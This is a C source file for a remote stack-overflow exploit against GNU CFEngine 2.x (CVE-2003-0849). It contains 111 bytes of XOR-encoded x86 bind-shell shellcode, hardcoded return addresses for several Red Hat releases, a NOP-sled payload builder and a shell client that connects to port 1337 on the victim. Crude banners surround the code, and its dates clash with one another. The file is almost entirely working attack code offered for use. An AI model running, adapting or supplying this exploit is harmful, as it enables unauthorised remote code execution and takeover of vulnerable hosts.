/*
    8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o 8==o
    "    CVE-2003-0849 - private rce exploit                "
    "    GNU CFEngine 2.x remote stack overflow exploit     "
    "    private exploit ! don't share !!!                  "
    "    The original private exploit code was written in   "
    "    2003 and was patched in 2026.                      "      
    "    code by : Antonius (w1sdom) - bluedragonsec.com    "
    "    https://github.com/bluedragonsecurity              "
    "    (c) solhack (solhack.ath.cx)- 2002-forever         "
    8==o 8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

/*
111 bytes private xor bind shell 1337 shellcode for x86 linux
this shellcode is used in many of our private exploits
(c) solhack - sons of liberty -> 2002 - forever
*/
unsigned char l33tc0d3[] =
"\xeb\x11\x5e\x31\xc9\xb1\x57\x80\x36\x03\x46\xe2\xfa\x83\xee"
"\x57\xff\xe6\x90\xe8\xea\xff\xff\xff\x32\xd8\xf4\xe0\x51\x40"
"\x50\x69\x01\xb3\x65\x8a\xe2\xce\x83\x8a\xc5\x40\x51\x65\x6b"
"\x06\x3a\x65\x50\x8a\xe2\x69\x13\x52\x55\x8a\xe2\xb3\x65\xce"
"\x83\xb3\x65\xd2\xe0\x51\x55\x8a\xe2\xce\x83\xb3\x65\x40\x51"
"\x51\x55\x8a\xe2\xce\x83\x90\x69\x01\x5a\xb3\x3c\xce\x83\x4a"
"\x7a\xfa\xb3\x08\x51\x6b\x2c\x2c\x70\x6b\x6b\x2c\x61\x6a\x6d"
"\x8a\xe0\x51\x50\xe8\xb7";

void banner() {
   printf(
    "\n8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o 8==o\n"
    "    CVE-2003-0849 - private rce exploit                \n"
    "    GNU CFEngine 2.x remote stack overflow exploit     \n"
    "    private exploit ! don't share !!!                  \n"
    "    The original private exploit code was written in   \n"
    "    February 2004 and was patched in 2026.             \n"      
    "    code by : Antonius (w1sdom) - bluedragonsec.com    \n"
    "    https://github.com/bluedragonsecurity              \n"
    "    (c) solhack (solhack.ath.cx)- 2002-forever         \n"
    "  8==o 8==o 8==o 8==o 8==o 8==o take my dick 8==o 8==o 8==o 8==o 8==o\n\n");
}

void usage() {
printf(
    "\n\trun : ./exploit <ip address> <port> <target>     \n"
    "\te.g :                                              \n"
    "\t./exploit 192.168.0.1 5308 1                       \n"
    "\t./exploit 127.0.0.1 5308 2                         \n"
    "\t 8==o 8==o 8==o 8==o 8==o 8==o 8==o 8==o 8==o 8==o \n"
    "\ttarget(s) :                                         \n"
    "\t- 1 : redhat 7.1 (libc-2.2.2.so -> 0x0002d4e7 : call esp ->  cfengine 2.0) \n"
    "\t- 2 : redhat 7.2 (libc-2.2.4.so -> 0x0011f7e0 : call esp -> cfengine 2.0.1)\n"
    "\t- 3 : redhat 7.3 (libc-2.2.5.so -> 0x420311c6 : call esp -> cfengine 2.0.2)\n"
    "\t- 4 : redhat 8.0 (libc-2.2.93.so -> 0x4203124f : call esp -> cfengine 2.0.6)\n"
    "\t- 5 : redhat 9.0 (libc-2.3.2.so -> 0x4202f64b : call esp -> cfengine 2.0.6)\n\n"); 
}

void shell(char *ip, int port) {
    int n, s;
    struct sockaddr_in sa;
    char buf[4096];
    fd_set fds;

    s = socket(AF_INET, SOCK_STREAM, 0);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    inet_aton(ip, &sa.sin_addr);
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("[-] exploit failed !");
        return;
    }
    printf("[*] connected to %s:%d\n", ip, port);
    write(1, "# ", 2);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(s, &fds);
        FD_SET(0, &fds);
        select(s + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(s, &fds)) {
            n = read(s, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(1, buf, n);
            write(1, "# ", 2);
        }
        if (FD_ISSET(0, &fds)) {
            n = read(0, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(s, buf, n);
        }
    }
    close(s);
}

int main(int argc, char **argv) {
    int s, port = 5308, total = 4586, target;
    char buf[total + 1];
    char *ptr;
    struct sockaddr_in sa;
    struct hostent *h;
    unsigned int eip = 0x1337;
   
    banner();
    if (argc < 3) {
        usage();
        return 1;
    }
    port = atoi(argv[2]);
    h = gethostbyname(argv[1]);
    target = atoi(argv[3]);
    if (!h) { 
        printf("[-] resolve failed\n"); 
        return 1; 
    }
    s = socket(AF_INET, SOCK_STREAM, 0);
    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = *(struct in_addr *)h->h_addr_list[0];
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        printf("[-] connect failed\n"); 
        return 1;
    }
    printf("[+] connected to %s:%d\n", argv[1], port);
    switch(target) {
        case 1:
        /*
        redhat 7.1
        libc-2.2.2.so -> 0x0002d4e7 : call esp ->  cfengine 2.0
        */
        eip = 0x401C34E7;
        break;
        case 2:
        /*
        redhat 7.2
        libc-2.2.4.so -> 0x0011f7e0 : call esp -> cfengine 2.0.1
        */
        eip = 0x402EA7E0;
        break;
        case 3:
        /*
        redhat 7.3
        libc-2.2.5.so -> 0x420311c6 : call esp -> cfengine 2.0.2
        */
        eip = 0x420311c6;
        break;
        case 4:
        /*
        redhat 8.0
        libc-2.2.93.so -> 0x4203124f : call esp -> cfengine 2.0.6
        */
        eip = 0x4203124f;
        break;
        case 5:
        /*
        redhat 9.0
        libc-2.3.2.so -> 0x4202f64b : call esp -> cfengine 2.0.6
        */
        eip = 0x4202f64b;
        break;
    }
    ptr = buf;
    memcpy(ptr, "t   4586", 8);
    ptr += 8;
    memset(ptr, '\x90', 4579);
    memcpy(ptr+4128, l33tc0d3, 111);  
    memcpy(ptr+4124, &eip, 4);  
    *ptr = '\0';
    send(s, buf, total, 0);
    close(s);
    printf("[+] sent ... please wait...\n");
    sleep(3);
    shell(argv[1], 1337);

    return 0;
}
